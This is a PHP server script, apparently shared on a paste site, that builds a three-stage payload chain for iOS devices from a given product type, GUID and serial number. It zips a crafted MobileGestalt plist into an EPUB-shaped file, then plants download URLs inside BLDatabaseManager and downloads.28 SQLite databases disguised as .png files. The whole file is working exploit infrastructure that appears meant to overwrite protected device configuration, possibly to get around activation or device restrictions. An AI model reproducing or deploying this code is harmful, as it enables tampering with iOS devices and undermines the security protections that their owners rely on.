get2.php 6.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192
  1. <?php
  2. // Enable error reporting for debugging
  3. error_reporting(E_ALL);
  4. ini_set('display_errors', 0);
  5. function log_debug($msg, $level = 'INFO') {
  6. $timestamp = date('Y-m-d H:i:s');
  7. $line = "[$timestamp] [$level] $msg";
  8. error_log($line);
  9. }
  10. // Function to generate random directory name
  11. function generateRandomName($length = 16) {
  12. return bin2hex(random_bytes($length / 2));
  13. }
  14. // Function to read SQL dump from .png file
  15. function readSQLDump($filename) {
  16. if (!file_exists($filename)) {
  17. log_debug("File not found: $filename", "ERROR");
  18. die("Error: File $filename not found");
  19. }
  20. return file_get_contents($filename);
  21. }
  22. // Function to create SQLite database from SQL dump
  23. function createSQLiteFromDump($sqlDump, $outputFile) {
  24. try {
  25. $sqlDump = preg_replace_callback(
  26. "/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i",
  27. function($matches) {
  28. $str = $matches[1];
  29. $str = preg_replace_callback(
  30. '/\\\\([0-9A-Fa-f]{4})/',
  31. function($m) {
  32. return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE');
  33. },
  34. $str
  35. );
  36. return "'" . str_replace("'", "''", $str) . "'";
  37. },
  38. $sqlDump
  39. );
  40. $sqlDump = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlDump);
  41. $db = new SQLite3($outputFile);
  42. $statements = explode(';', $sqlDump);
  43. foreach ($statements as $statement) {
  44. $statement = trim($statement);
  45. if (!empty($statement) && strlen($statement) > 5) {
  46. @$db->exec($statement . ';');
  47. }
  48. }
  49. $db->close();
  50. return true;
  51. } catch (Exception $e) {
  52. log_debug("SQLite creation failed: " . $e->getMessage(), "ERROR");
  53. die("Error creating SQLite database");
  54. }
  55. }
  56. log_debug("=== STARTING PAYLOAD GENERATION ===");
  57. $prd = $_GET['prd'] ?? '';
  58. $guid = $_GET['guid'] ?? '';
  59. $sn = $_GET['sn'] ?? '';
  60. if (empty($prd) || empty($guid) || empty($sn)) {
  61. log_debug("Missing params: prd='$prd', guid='$guid', sn='$sn'", "ERROR");
  62. http_response_code(400);
  63. echo json_encode(['success' => false, 'error' => 'Missing prd, guid, or sn']);
  64. exit;
  65. }
  66. $prdFormatted = str_replace(',', '-', $prd);
  67. $basePath = __DIR__;
  68. $plistPath = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  69. log_debug("Trying plist: $plistPath");
  70. if (!file_exists($plistPath)) {
  71. $altPath1 = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  72. $altPath2 = $_SERVER['DOCUMENT_ROOT'] . "/bee33/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  73. if (file_exists($altPath1)) {
  74. $plistPath = $altPath1;
  75. } elseif (file_exists($altPath2)) {
  76. $plistPath = $altPath2;
  77. } else {
  78. log_debug("Plist not found. Tried: $plistPath, $altPath1, $altPath2", "ERROR");
  79. http_response_code(500);
  80. echo json_encode(['success' => false, 'error' => 'Plist not found']);
  81. exit;
  82. }
  83. }
  84. $realPlistPath = realpath($plistPath);
  85. log_debug("✅ Using plist: $realPlistPath (size: " . filesize($realPlistPath) . " bytes)");
  86. $randomName1 = generateRandomName();
  87. $firstStepDir = "$basePath/firststp/$randomName1";
  88. mkdir($firstStepDir, 0755, true);
  89. $cachesDir = "$firstStepDir/Caches";
  90. mkdir($cachesDir, 0755, true);
  91. $tmpMimetype = "$cachesDir/mimetype";
  92. file_put_contents($tmpMimetype, "application/epub+zip");
  93. $zipPath = "$firstStepDir/temp.zip";
  94. $zip = new ZipArchive();
  95. if (!$zip->open($zipPath, ZipArchive::CREATE)) {
  96. log_debug("Failed to create ZIP", "ERROR");
  97. http_response_code(500);
  98. echo json_encode(['success' => false, 'error' => 'ZIP creation failed']);
  99. exit;
  100. }
  101. if (!$zip->addFile($tmpMimetype, "Caches/mimetype")) {
  102. log_debug("Failed to add mimetype to ZIP", "ERROR");
  103. exit;
  104. }
  105. $zip->setCompressionName("Caches/mimetype", ZipArchive::CM_STORE); // ← КЛЮЧЕВО!
  106. // Добавляем plist в Caches/
  107. if (!$zip->addFile($plistPath, "Caches/com.apple.MobileGestalt.plist")) {
  108. log_debug("Failed to add plist to ZIP", "ERROR");
  109. exit;
  110. }
  111. $zip->close();
  112. unlink($tmpMimetype);
  113. rmdir($cachesDir);
  114. $fixedFilePath = "$firstStepDir/fixedfile";
  115. rename($zipPath, $fixedFilePath);
  116. log_debug("✅ fixedfile (EPUB-compliant) created: $fixedFilePath");
  117. // --- URLs ---
  118. $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? "https" : "http";
  119. $baseUrl = "$protocol://$_SERVER[HTTP_HOST]";
  120. $fixedFileUrl = "$baseUrl/firststp/$randomName1/fixedfile";
  121. // --- Stage2: BLDatabaseManager.sqlite → belliloveu.png ---
  122. $blDump = readSQLDump("$basePath/BLDatabaseManager.png");
  123. $blDump = str_replace('KEYOOOOOO', $fixedFileUrl, $blDump);
  124. $randomName2 = generateRandomName();
  125. $secondStepDir = "$basePath/2ndd/$randomName2";
  126. mkdir($secondStepDir, 0755, true);
  127. $blSqlite = "$secondStepDir/BLDatabaseManager.sqlite";
  128. createSQLiteFromDump($blDump, $blSqlite);
  129. rename($blSqlite, "$secondStepDir/belliloveu.png");
  130. $blUrl = "$baseUrl/2ndd/$randomName2/belliloveu.png";
  131. // --- Stage3: downloads.28.sqlitedb → apllefuckedhhh.png ---
  132. $dlDump = readSQLDump("$basePath/downloads.28.png");
  133. $dlDump = str_replace('https://google.com', $blUrl, $dlDump);
  134. $dlDump = str_replace('GOODKEY', $guid, $dlDump);
  135. $randomName3 = generateRandomName();
  136. $lastStepDir = "$basePath/last/$randomName3";
  137. mkdir($lastStepDir, 0755, true);
  138. $finalDb = "$lastStepDir/downloads.sqlitedb";
  139. createSQLiteFromDump($dlDump, $finalDb);
  140. rename($finalDb, "$lastStepDir/apllefuckedhhh.png");
  141. $finalUrl = "$baseUrl/last/$randomName3/apllefuckedhhh.png";
  142. log_debug("✅ All stages generated.");
  143. echo json_encode([
  144. 'success' => true,
  145. 'parameters' => compact('prd', 'guid', 'sn'),
  146. 'links' => [
  147. 'step1_fixedfile' => $fixedFileUrl,
  148. 'step2_bldatabase' => $blUrl,
  149. 'step3_final' => $finalUrl
  150. ],
  151. 'debug' => [
  152. 'plist_used' => $realPlistPath,
  153. 'plist_size' => filesize($realPlistPath)
  154. ]
  155. ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
  156. ?>